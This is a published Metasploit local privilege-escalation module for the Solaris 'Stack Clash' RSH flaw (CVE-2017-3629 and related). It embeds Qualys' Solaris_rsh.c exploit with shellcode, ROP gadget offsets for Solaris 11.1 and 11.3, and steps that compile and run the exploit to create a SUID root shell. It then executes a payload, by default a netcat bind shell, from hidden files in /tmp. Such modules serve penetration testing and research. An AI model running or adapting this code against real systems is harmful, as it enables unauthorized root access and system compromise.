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Solaris RSH Stack Clash Privilege Escalation

Solaris RSH Stack Clash Privilege Escalation
Posted Oct 15, 2018
Authored by Brendan Coles, Qualys Security Advisory | Site metasploit.com

This Metasploit module exploits a vulnerability in RSH on unpatched Solaris systems which allows users to gain root privileges. The stack guard page on unpatched Solaris systems is of insufficient size to prevent collisions between the stack and heap memory, aka Stack Clash. This Metasploit module uploads and executes Qualys' Solaris_rsh.c exploit, which exploits a vulnerability in RSH to bypass the stack guard page to write to the stack and create a SUID root shell. This Metasploit module has offsets for Solaris versions 11.1 (x86) and Solaris 11.3 (x86). Exploitation will usually complete within a few minutes using the default number of worker threads (10). Occasionally, exploitation will fail. If the target system is vulnerable, usually re-running the exploit will be successful. This Metasploit module has been tested successfully on Solaris 11.1 (x86) and Solaris 11.3 (x86).

tags | exploit, shell, x86, root
systems | solaris
advisories | CVE-2017-1000364, CVE-2017-3629, CVE-2017-3630, CVE-2017-3631
MD5 | 91b277586c77a3c37e33c0ac990f0483

Solaris RSH Stack Clash Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::File
include Msf::Post::Solaris::Priv
include Msf::Post::Solaris::System
include Msf::Post::Solaris::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris RSH Stack Clash Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in RSH on unpatched Solaris
systems which allows users to gain root privileges.

The stack guard page on unpatched Solaris systems is of
insufficient size to prevent collisions between the stack
and heap memory, aka Stack Clash.

This module uploads and executes Qualys' Solaris_rsh.c exploit,
which exploits a vulnerability in RSH to bypass the stack guard
page to write to the stack and create a SUID root shell.

This module has offsets for Solaris versions 11.1 (x86) and
Solaris 11.3 (x86).

Exploitation will usually complete within a few minutes using
the default number of worker threads (10). Occasionally,
exploitation will fail. If the target system is vulnerable,
usually re-running the exploit will be successful.

This module has been tested successfully on Solaris 11.1 (x86)
and Solaris 11.3 (x86).
},
'References' =>
[
['BID', '99151'],
['BID', '99153'],
['CVE', '2017-1000364'],
['CVE', '2017-3629'],
['CVE', '2017-3630'],
['CVE', '2017-3631'],
['EDB', '42270'],
['URL', 'http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-3629-3757403.html'],
['URL', 'https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash'],
['URL', 'https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt']
],
'Notes' => { 'AKA' => ['Stack Clash', 'Solaris_rsh.c'] },
'License' => MSF_LICENSE,
'Author' =>
[
'Qualys Corporation', # Stack Clash technique and Solaris_rsh.c exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Jun 19 2017',
'Privileged' => true,
'Platform' => ['unix'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' =>
[
['Automatic', {}],
['Solaris 11.1', {}],
['Solaris 11.3', {}]
],
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/bind_netcat',
'WfsDelay' => 10,
'PrependFork' => true
},
'DefaultTarget' => 0))
register_options [
OptInt.new('WORKERS', [true, 'Number of workers', '10']),
OptString.new('RSH_PATH', [true, 'Path to rsh executable', '/usr/bin/rsh'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def rsh_path
datastore['RSH_PATH']
end

def mkdir(path)
vprint_status "Creating '#{path}' directory"
cmd_exec "mkdir -p #{path}"
register_dir_for_cleanup path
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_compile(path, data)
upload "#{path}.c", data

output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -Wall -std=gnu99 -o #{path} #{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end

register_file_for_cleanup path
end

def symlink(link_target, link_name)
print_status "Symlinking #{link_target} to #{link_name}"
rm_f link_name
cmd_exec "ln -sf #{link_target} #{link_name}"
register_file_for_cleanup link_name
end

def check
unless setuid? rsh_path
vprint_error "#{rsh_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{rsh_path} is setuid"

unless has_gcc?
vprint_error 'gcc is not installed'
return CheckCode::Safe
end
vprint_good 'gcc is installed'

version = kernel_version
if version.to_s.eql? ''
vprint_error 'Could not determine Solaris version'
return CheckCode::Detected
end

unless ['11.1', '11.3'].include? version
vprint_error "Solaris version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Solaris version #{version} appears to be vulnerable"

CheckCode::Detected
end

def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end

if target.name.eql? 'Automatic'
case kernel_version
when '11.1'
my_target = targets[1]
arg = 0
when '11.3'
my_target = targets[2]
arg = 1
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"

base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
mkdir base_path

# Solaris_rsh.c by Qualys
# modified for Metasploit
workers = datastore['WORKERS'].to_i
root_shell = 'ROOT'
shellcode = '\x31\xc0\x50\x68'
shellcode << root_shell
shellcode << '\x89\xe3\x50\x53\x89\xe2\x50\x50'
shellcode << '\x52\x53\xb0\x3C\x48\x50\xcd\x91'
shellcode << '\x31\xc0\x40\x50\x50\xcd\x91Z'
exp = <<-EOF
/*
* Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef timersub
#define timersub(a, b, result) \\
do { \\
(result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \\
(result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \\
if ((result)->tv_usec < 0) { \\
--(result)->tv_sec; \\
(result)->tv_usec += 1000000; \\
} \\
} while (0)
#endif

#define RSH "#{rsh_path}"
static const struct target * target;
static const struct target {
const char * name;
size_t s_first, s_last, s_step;
size_t l_first, l_last, l_step;
size_t p_first, p_last, p_step;
size_t a, b;
size_t i, j;
}
targets[] = {
{
.name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
.s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 192, .l_last = 512, .l_step = 16,
.p_first = 0, .p_last = 8192, .p_step = 1,
.a = 0, .b = 15, .j = 12,
.i = 0x08052608 /* pop edx; pop ebp; ret */
},
{
.name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
.s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 96, .l_last = 512, .l_step = 4,
.p_first = 0, .p_last = 4096, .p_step = 4,
.a = 0, .b = 3, .j = SIZE_MAX,
.i = 0x07faa7ea /* call *0xc(%ebp) */
},
};

#define ROOTSHELL "#{root_shell}"
static const char shellcode[] = "#{shellcode}";

static volatile sig_atomic_t sigalarm;

static void
sigalarm_handler(const int signum __attribute__((__unused__)))
{
sigalarm = 1;
}

#define die() do { \\
fprintf(stderr, "died in %s: %u\\n", __func__, __LINE__); \\
exit(EXIT_FAILURE); \\
} while (0)

static int
is_suid_root(const char * const file)
{
if (!file) die();
static struct stat sbuf;
if (stat(file, &sbuf)) die();
if (!S_ISREG(sbuf.st_mode)) die();
return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
}

static const char *
build_lca(const size_t l)
{
static const size_t shellcode_len = sizeof(shellcode)-1;
if (shellcode_len > 64) die();
if (shellcode_len % 16) die();
if (l < shellcode_len + target->a + target->b) die();

#define LCA_MAX 4096
if (l > LCA_MAX) die();
static char lca[128 + LCA_MAX];
strcpy(lca, "LC_ALL=");
char * cp = memchr(lca, '\\0', sizeof(lca));
if (!cp) die();
memcpy(cp, shellcode, shellcode_len);
cp += shellcode_len;
memset(cp, 'a', target->a);

size_t o;
for (o = target->a; l - o >= 4; o += 4) {
if ((o - target->a) % 16 == target->j) {
cp[o + 0] = '\\xeb';
cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
-(shellcode_len + target->a + target->j + 2);
cp[o + 2] = 'j';
cp[o + 3] = 'j';
} else {
if (sizeof(size_t) != 4) die();
*(size_t *)(cp + o) = target->i;
}
}
cp += o;
memset(cp, 'b', target->b);
cp[target->b] = '\\0';
if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
return lca;
}

static const char *
build_pad(const size_t p)
{
#define PAD_MAX 8192
if (p > PAD_MAX) die();
static char pad[64 + PAD_MAX];
strcpy(pad, "P=");
char * const cp = memchr(pad, '\\0', sizeof(pad));
if (!cp) die();
memset(cp, 'p', p);
cp[p] = '\\0';
if (strlen(pad) != 2 + p) die();
return pad;
}

static void
fork_worker(const size_t s, const char * const lca, const char * const pad)
{
#define N_WORKERS #{workers.to_i}
static size_t n_workers;
static struct {
pid_t pid;
struct timeval start;
} workers[N_WORKERS];

size_t i_worker;
struct timeval start, stop, diff;

if (n_workers >= N_WORKERS) {
if (n_workers != N_WORKERS) die();
int is_suid_rootshell = 0;
for (;;) {
sigalarm = 0;
#define TIMEOUT 10
alarm(TIMEOUT);
int status = 0;
const pid_t pid = waitpid(-1, &status, WUNTRACED);
alarm(0);
if (gettimeofday(&stop, NULL)) die();

if (pid <= 0) {
if (pid != -1) die();
if (errno != EINTR) die();
if (sigalarm != 1) die();
}
int found_pid = 0;
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid <= 0) die();
if (worker_pid == pid) {
if (found_pid) die();
found_pid = 1;
if (WIFEXITED(status) || WIFSIGNALED(status))
workers[i_worker].pid = 0;
} else {
timersub(&stop, &workers[i_worker].start, &diff);
if (diff.tv_sec >= TIMEOUT)
if (kill(worker_pid, SIGKILL)) die();
}
}
if (!found_pid) {
if (pid != -1) die();
continue;
}
if (WIFEXITED(status)) {
if (WEXITSTATUS(status) != EXIT_FAILURE)
fprintf(stderr, "exited %d\\n", WEXITSTATUS(status));
break;
} else if (WIFSIGNALED(status)) {
if (WTERMSIG(status) != SIGSEGV)
fprintf(stderr, "signal %d\\n", WTERMSIG(status));
break;
} else if (WIFSTOPPED(status)) {
fprintf(stderr, "stopped %d\\n", WSTOPSIG(status));
is_suid_rootshell |= is_suid_root(ROOTSHELL);
if (kill(pid, SIGKILL)) die();
continue;
}
fprintf(stderr, "unknown %d\\n", status);
die();
}
if (is_suid_rootshell) {
system("ls -lL " ROOTSHELL);
exit(EXIT_SUCCESS);
}
n_workers--;
}
if (n_workers >= N_WORKERS) die();

static char rsh_link[64];
if (*rsh_link != '/') {
const int rsh_fd = open(RSH, O_RDONLY);
if (rsh_fd <= STDERR_FILENO) die();
if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
"/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
if (access(rsh_link, R_OK | X_OK)) die();
if (*rsh_link != '/') die();
}

static int null_fd = -1;
if (null_fd <= -1) {
null_fd = open("/dev/null", O_RDWR);
if (null_fd <= -1) die();
}

const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
const struct rlimit stack = { s, s };
if (setrlimit(RLIMIT_STACK, &stack)) die();

if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();

static char * const argv[] = { rsh_link, "-?", NULL };
char * const envp[] = { (char *)lca, (char *)pad, NULL };
execve(*argv, argv, envp);
die();
}
if (gettimeofday(&start, NULL)) die();
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid > 0) continue;
if (worker_pid != 0) die();
workers[i_worker].pid = pid;
workers[i_worker].start = start;
n_workers++;
return;
}
die();
}

int main(const int argc, const char * const argv[])
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();

if (geteuid() == 0) {
if (is_suid_root(ROOTSHELL)) {
if (setuid(0)) die();
if (setgid(0)) die();
static char * const argv[] = { "/bin/sh", NULL };
execve(*argv, argv, NULL);
die();
}
chown(*argv, 0, 0);
chmod(*argv, 04555);
for (;;) {
raise(SIGSTOP);
sleep(1);
}
die();
}

const size_t i = strtoul(argv[1], NULL, 10);
if (i >= sizeof(targets)/sizeof(*targets)) die();
target = targets + i;
fprintf(stderr, "Target %zu %s\\n", i, target->name);

if (target->a >= 16) die();
if (target->b >= 16) die();
if (target->i <= 0) die();
if (target->j >= 16 || target->j % 4) {
if (target->j != SIZE_MAX) die();
}

static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();

size_t s;
for (s = target->s_first; s <= target->s_last; s += target->s_step) {
if (s % target->s_step) die();

size_t l;
for (l = target->l_first; l <= target->l_last; l += target->l_step) {
if (l % target->l_step) die();
const char * const lca = build_lca(l);
fprintf(stdout, "s %zu l %zu\\n", s, l);

size_t p;
for (p = target->p_first; p <= target->p_last; p += target->p_step) {
if (p % target->p_step) die();
const char * const pad = build_pad(p);
fork_worker(s, lca, pad);
}
}
}
fprintf(stdout, "Failed\\n");
}
EOF

exploit_name = ".#{rand_text_alphanumeric 5..15}"
upload_and_compile "#{base_path}/#{exploit_name}", exp
symlink "#{base_path}/#{exploit_name}", "#{base_path}/#{root_shell}"

print_status "Creating suid root shell. This may take a while..."
cmd_exec "cd #{base_path}"
start = Time.now
output = cmd_exec "./#{exploit_name} #{arg}", nil, 1_800
stop = Time.now
print_status "Completed in #{(stop - start).round(2)}s"
unless output.include? 'root'
fail_with Failure::Unknown, "Failed to create suid root shell: #{output}"
end
print_good "suid root shell created: #{base_path}/#{root_shell}"

payload_name = ".#{rand_text_alphanumeric 5..10}"
payload_path = "#{base_path}/#{payload_name}"
upload payload_path, payload.encoded
cmd_exec "chmod +x '#{payload_path}'"

print_status 'Executing payload...'
cmd_exec "echo #{payload_path} | ./#{root_shell} & echo "
end
end

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